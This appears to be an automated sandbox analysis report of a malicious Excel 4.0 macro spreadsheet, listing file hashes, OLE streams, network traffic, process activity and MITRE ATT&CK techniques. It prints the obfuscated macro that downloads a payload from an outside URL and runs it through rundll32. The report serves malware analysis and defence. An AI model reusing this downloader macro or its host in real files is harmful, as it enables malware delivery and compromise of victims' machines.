Static File Info

General
File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Sat Sep 16 01:00:00 2006, Last Saved Time/Date: Mon Feb 8 08:28:15 2021, Security: 0
Entropy (8bit):	7.606041071167239
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	document-1429954472.xls
File size:	323072
MD5:	de9de1ff91dd0501f1405ce027fb5941
SHA1:	826804c571db7b1c892160c8c4c05c2d5d015d63
SHA256:	26acece82b024fc2b5306a52189db24a8742c11cc9ebbc84ab6a5dca8672bc0c
SHA512:	39613ef3a2854ec0125fa3f5a50ad8b320f0e63a0b0cdfc5b60fb0a4ec6b5efbd2d74044570616c78229e215d29bb9bb1feb4d589b9c56bff2be88eeb8d408ec
SSDEEP:	6144:BcKoSsxzNDZLDZjlbR868O8KlVH33dq7uDphYHceXVhca+fMHLty/xcl8OR4PiAO:EeLUIRfUI5uXL6nDJoc5
File Content Preview:	........................>.......................u...........................p...q...r...s...t..................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General
Document Type:	OLE
Number of OLE Files:	1

OLE File "document-1429954472.xls"

Indicators
Has Summary Info:	True
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:
Flash Objects Count:
Contains VBA Macros:	True

Summary
Code Page:	1251
Author:
Last Saved By:
Create Time:	2006-09-16 00:00:00
Last Saved Time:	2021-02-08 08:28:15
Creating Application:	Microsoft Excel
Security:	0

Document Summary
Document Code Page:	1251
Thumbnail Scaling Desired:	False
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	917504

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.311136915093
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . H . . . . . . . P . . . . . . . X . . . . . . . ` . . . . . . . h . . . . . . . p . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D o c u S i g n . . . . . D o c 1 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . E x c e l 4 . 0 . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 d8 00 00 00 08 00 00 00 01 00 00 00 48 00 00 00 17 00 00 00 50 00 00 00 0b 00 00 00 58 00 00 00 10 00 00 00 60 00 00 00 13 00 00 00 68 00 00 00 16 00 00 00 70 00 00 00 0d 00 00 00 78 00 00 00 0c 00 00 00 96 00 00 00 02 00 00 00 e3 04 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.251468853718
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . T . . . . . . . ` . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . . \| . # . . . @ . . . . . W X . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 98 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 54 00 00 00 12 00 00 00 60 00 00 00 0c 00 00 00 78 00 00 00 0d 00 00 00 84 00 00 00 13 00 00 00 90 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 04 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 311013

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	311013
Entropy:	7.7372453803
Base64 Encoded:	True
Data ASCII:	. . . . . . . . g 2 . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . i . . 9 J . 8 . . . . . . . X . @ . . . . . . . . . . . " . . . . . . . . .
Data Raw:	09 08 10 00 00 06 05 00 67 32 cd 07 c9 80 01 00 06 06 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 02 00 00 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AE13(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AA13(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=CALL(""UR""&AF21,AE19&AE20&AE21&AE22&AE23&AE24&AE25&AE26&AE27&AE28&AE29&AE30&AE31&AE32&AE33&AE34&AE35&AE14,""JJCCBB"",0,A100,AF18,AF23,0)",,,,"=FORMULA.ARRAY(AE17,AE14)","=FORMULA.ARRAY(AH25&AH26&AH27&AH28&AH29&AH30&AH31,AF14)","=FORMULA.ARRAY(AI25&AI26&AI27&AI28&AI29,AG14)",,,,,,,,,,,,,,,,,,,,,,,,,,,,=AB17(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=AF13(),=AG13(),=AA10(),,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,"=EXEC(AF14&""2 ""&AF18&AG14&""egisterServer"")",,,A,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,=HALT(),,,,..\iojhsfgv.dvers,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,U,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,R,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,L,LMon,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,D,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,o,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,w,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,n,,,r,",",,,,,,,,,,,,,,,,,,,,,,,,,,,,,,l,,,u,D,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,o,,,n,l,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,a,,,d,l,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,d,,,l,R,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,T,,,l,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,o,,,3,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,F,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,i,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,l,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,e,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,http://fastswitch.org/ds/0702.gif,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,,

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 9, 2021 22:09:42.066481113 CEST	49165	80	192.168.2.22	47.244.191.15
Apr 9, 2021 22:09:42.261116028 CEST	80	49165	47.244.191.15	192.168.2.22
Apr 9, 2021 22:09:42.261199951 CEST	49165	80	192.168.2.22	47.244.191.15
Apr 9, 2021 22:09:42.261943102 CEST	49165	80	192.168.2.22	47.244.191.15
Apr 9, 2021 22:09:42.457134008 CEST	80	49165	47.244.191.15	192.168.2.22
Apr 9, 2021 22:09:43.020963907 CEST	80	49165	47.244.191.15	192.168.2.22
Apr 9, 2021 22:09:43.021126032 CEST	49165	80	192.168.2.22	47.244.191.15
Apr 9, 2021 22:09:43.021311998 CEST	49165	80	192.168.2.22	47.244.191.15
Apr 9, 2021 22:09:43.022376060 CEST	80	49165	47.244.191.15	192.168.2.22
Apr 9, 2021 22:09:43.022488117 CEST	49165	80	192.168.2.22	47.244.191.15
Apr 9, 2021 22:09:43.215965033 CEST	80	49165	47.244.191.15	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 9, 2021 22:09:41.753401995 CEST	52197	53	192.168.2.22	8.8.8.8
Apr 9, 2021 22:09:42.050138950 CEST	53	52197	8.8.8.8	192.168.2.22

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Apr 9, 2021 22:09:41.753401995 CEST	192.168.2.22	8.8.8.8	0x2c09	Standard query (0)	fastswitch.org	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Apr 9, 2021 22:09:42.050138950 CEST	8.8.8.8	192.168.2.22	0x2c09	No error (0)	fastswitch.org		47.244.191.15	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

fastswitch.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	47.244.191.15	80	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Timestamp	kBytes transferred	Direction	Data
Apr 9, 2021 22:09:42.261943102 CEST	0	OUT	GET /ds/0702.gif HTTP/1.1 Accept: / UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: fastswitch.org Connection: Keep-Alive
Apr 9, 2021 22:09:43.020963907 CEST	1	IN	HTTP/1.1 503 Service Unavailable Date: Fri, 09 Apr 2021 20:09:42 GMT Server: Apache/2.4.6 (CentOS) PHP/5.6.31 X-Powered-By: PHP/5.6.31 Content-Length: 79 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 2e 3c 2f 68 31 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 64 73 2f 30 37 30 32 2e 67 69 66 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Not Found.</h1>The requested URL /ds/0702.gif was not found on this server.

Code Manipulations

Statistics

CPU Usage

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Memory Usage

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High Level Behavior Distribution

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Behavior

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System Behavior

Analysis Process: EXCEL.EXE PID: 2248 Parent PID: 584

General

Start time:	22:09:40
Start date:	09/04/2021
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Imagebase:	0x13f9e0000
File size:	27641504 bytes
MD5 hash:	5FB0A0F93382ECD19F5F499A5CAA59F0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 2552 Parent PID: 2248

General

Start time:	22:09:44
Start date:	09/04/2021
Path:	C:\Windows\System32\rundll32.exe
Wow64 process (32bit):	false
Commandline:	rundll32 ..\iojhsfgv.dvers,DllRegisterServer
Imagebase:	0xff060000
File size:	45568 bytes
MD5 hash:	DD81D91FF3B0763C392422865C9AC12E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

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Warning!

Analysis Report document-1429954472.xls

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Yara Overview

Initial Sample

Sigma Overview

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

HIPS / PFW / Operating System Protection Evasion:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "document-1429954472.xls"

Indicators

Summary

Document Summary

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 311013

General

Macro 4.0 Code

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

CPU Usage